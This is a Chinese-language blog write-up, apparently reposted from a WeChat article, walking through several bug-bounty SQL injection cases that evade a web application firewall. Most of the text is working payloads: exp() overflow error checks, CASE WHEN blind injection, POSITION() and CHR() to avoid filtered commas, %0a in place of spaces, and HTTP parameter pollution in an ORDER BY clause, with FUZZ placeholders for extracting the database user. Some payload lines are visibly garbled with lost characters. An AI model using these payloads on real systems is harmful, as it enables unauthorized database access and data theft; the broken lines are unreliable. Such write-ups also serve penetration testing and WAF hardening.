SRC案例-几个sql注入绕WAF案例

本文最后更新于 2024年11月10日 晚上

来源:https://mp.weixin.qq.com/s/i92dNJxeOzO--SqZmg4LGA

case when+position绕过

  1. 找到注入点,statusCode参数,单引号报错

image-20241110163124314

  1. 使用exp()报错确定注入的存在
1
'||exp(709)||'  # exp(709)没有整数溢出,返回为真,没有报错,返回了正常数据

image-20241110163600360

1
'||exp(710)||'  # exp(710)整数溢出,返回为假,报错,返回了异常,确定了注入的存在

image-20241110163743425

  1. 接下来,测试各种函数的可用性,让函数都返回1,从而看是否禁用该函数

if()被禁用

image-20241110164206941

decode()被禁用

image-20241110164225743

case when 也是异常

image-20241110164610925

  1. 但是经过尝试,其实换个写法就可以了,不写”=”了,成功回显出了正常数据,说明是=出现了问题,但又不是简单地被过滤了,很有可能它有个规则是在一些符号传进去之后会在后面加了一些字符导致语句异常。
1
'||case 1 when 1 then 1 esle 1 end||'  # 返回永真

image-20241110165013370

换成exp(710)使得表达式为假,验证一下,成功返回异常,说明case when可用!

1
'|| case 1 when 2 then 1 else exp(710)||' # 返回为假

image-20241110165724390

  1. 选择盲注,开始测试盲注函数的可用性
1
'|| case ascii(substr(user,1,1)) when 1 then 1 else 1||' # 返回永真,测试语句是否被禁用

image-20241110171650656

结果是被禁用了,但是具体是什么部分被禁用了呢?

  1. 进一步测试,是哪一部分被禁用了

先换成length函数,单独测试user,返回正常,说明user是没被过滤的

1
'||case length(user) when 1 then 1 else 1 ||' 

image-20241110172042963

那么可以先跑user的长度

1
'||case length(user) when 【FUZZ】 then 1 else exp(710) ||' 

直接跑出来user为8位

image-20241110172355367

再来单独测试下ascii函数,这里发现没问题

1
'||case ascii(user) when 1 then 1 else 1 ||'

image-20241110172447799

经测试,substr()单独也可用,过滤的是逗号,不是函数

  1. 于是尝试绕过逗号
1
substring(user from 1 for 1) # 代表从第一位开始,截取长度为1

image-20241110172815291

结果所有逗号绕过都失败了,只能想其他办法

  1. 继续绕过限制

之前一直以为是orcale数据库,现在怀疑它是PostgreSQL数据库,PostgreSQL有个函数很少会禁: position函数,mysql中也有此函数,这个函数不需要逗号

1
2
3
4
这个函数有两个参数,返回的是第一个参数第一次出现在后面的位置
position('sql' in 'postgresql')返回的是8
position('sq' in 'postgresql')返回的也是8
position('p' in 'postgresql')返回的则是1

这里返回的就是数字,也不用ascii函数了,最终payload为

1
'||case position('【FUZZ2】' in user) when 【FUZZ1】 then 1 else exp(720) end||'

先固定【FUZZ1】为1,也就是先跑user的第一位是什么字母,去FUZZ【FUZZ2】如果匹配,逻辑会走then 返回1,回显正常数据,反之回显异常,这样就能盲注成功了!

image-20241110173716698

  1. 接下来就是一位一位的跑,成功得到了user数据!

排序点注入

  1. 排序点处

image-20241110215000839

  1. 原有数据包

image-20241110215043303

  1. 使用case when语句确定注入的存在
1
case when 1=1 then 1 else exp(710) # 返回1,回显正常

image-20241110215320990

1
case when 1=2 then 1 else exp(710) # 返回exp(710),整数溢出,回显异常

image-20241110215408520

经过测试,基本没有什么过滤,那么直接盲注,注出一条数据就行

1
case when ascii(substr(user,【FUZZ】,1))=【FUZZ】 then 1 else exp(710)

image-20241110215831801

order by注入

  1. 原本数据包,很明显的order by注入

image-20241110220049665

  1. 这里直接插入一个比较大的数字,ordey by 100,没有这么多列就会报错,说明注入存在

image-20241110220128617

  1. 因为是有报错回显,这里直接插入updatexml()试下

结果直接被拦截了,主机无响应,其他函数都试了,都是无响应

image-20241110220240999

  1. 还是得换盲注,首先就是确定哪些判断函数可以用

经过测试,发现很多都过滤了,最终构造如下payload

1
(case 1 when 1 then 1 else 1 end) asc # 返回1,应该回显正常数据

空格被过滤,使用%0a来代替空格,返回数据证明语句没问题

1
(case%0a1%0awhen%0a1%0athen%0a1%0aelse%0a1%0aend) asc 

image-20241110220834449

  1. 接下来就是构造真假条件,控制输出数据

注意!当”then exp(900) else 1”语句中, 如果”else”后面为数字,就不会执行exp(900)这个函数,order by又不能接普通的字符,必须是有效的列名字段,于是else后面改为一个有效的字段

先是换成CREATE_TIME不管条件是否相等都返回数据类型不一致

image-20241110221705936

于是去报错信息中寻找其他有效字段名

image-20241110221739455

1
(case 1 when 1 then exp(900) else PROVINCE_ID end) asc

成功执行了exp(900),返回了数字溢出

image-20241110221900902

所以当case 1 when 2时,就返回按照PROVINCE_ID排序的结果,当case 2 when 2时,会回显异常,条件构造成功!

1
(case 1 when 2 then exp(900) else PROVINCE_ID end) asc

image-20241110224247192

  1. 下面就可以使用substr()截取user,注出数据了

但是经过测试,过滤了逗号

使用参数污染绕过

1
2
3
4
5
(case SUBSTRB(USER,1,1when 1 then exp(900else PROVINCE_ID endasc # 原始payload

orderByClause=(case SUBSTRB(USER&orderByClause=1&orderByClause=1when 1 then exp(900else PROVINCE_ID endasc # 参数污染绕过逗号

orderByClause=(case%0aSUBSTRB(USER&orderByClause=1&orderByClause=1)%0awhen%0a1%0athen%0aexp(900)%0aelse%0aPROVINCE_ID%0aend)%0aasc # 参数污染绕过逗号,%0a绕过空格

绕过逗号后,结果提示数据类型应该是字符串

image-20241110225027275

只有这个截取函数会返回数据类型不一致,说明when后面的应为字符串

1
(case SUBSTRB(USER,1,1when 1 then exp(900else PROVINCE_ID endasc

image-20241110224539629

尝试直接换成 when ‘a’ 也不行

1
(case SUBSTRB(USER,1,1when 'a' then exp(900else PROVINCE_ID endasc

image-20241110224647800

于是使用chr()函数绕过,when后面不能接普通字符的限制

用CHR(50)代替一下,就是将ascii码为50转成字符串,原始paylaod为

1
(case SUBSTR(USER,1,1) when CHR(50) then exp(900) else PROVINCE_ID end) asc

截取的第一位字符肯定不等于CHR(50),会返回按照PROVINCE_ID排序的数据,回显正常

image-20241110225550998

直接跑第一位,遍历CHR里面的数字,第一位ascii码为88,也就是X

1
2
3
(case SUBSTR(USER,【FUZZ】,1) when CHR(【FUZZ】) then exp(900) else PROVINCE_ID end) asc

orderByClause=(case%0aSUBSTRB(USER&orderByClause=【FUZZ】&orderByClause=1)%0awhen%0aCHR(【FUZZ】)%0athen%0aexp(900)%0aelse%0aPROVINCE_ID%0aend)%0aasc # 参数污染绕过逗号,%0a绕过空格

image-20241110231032579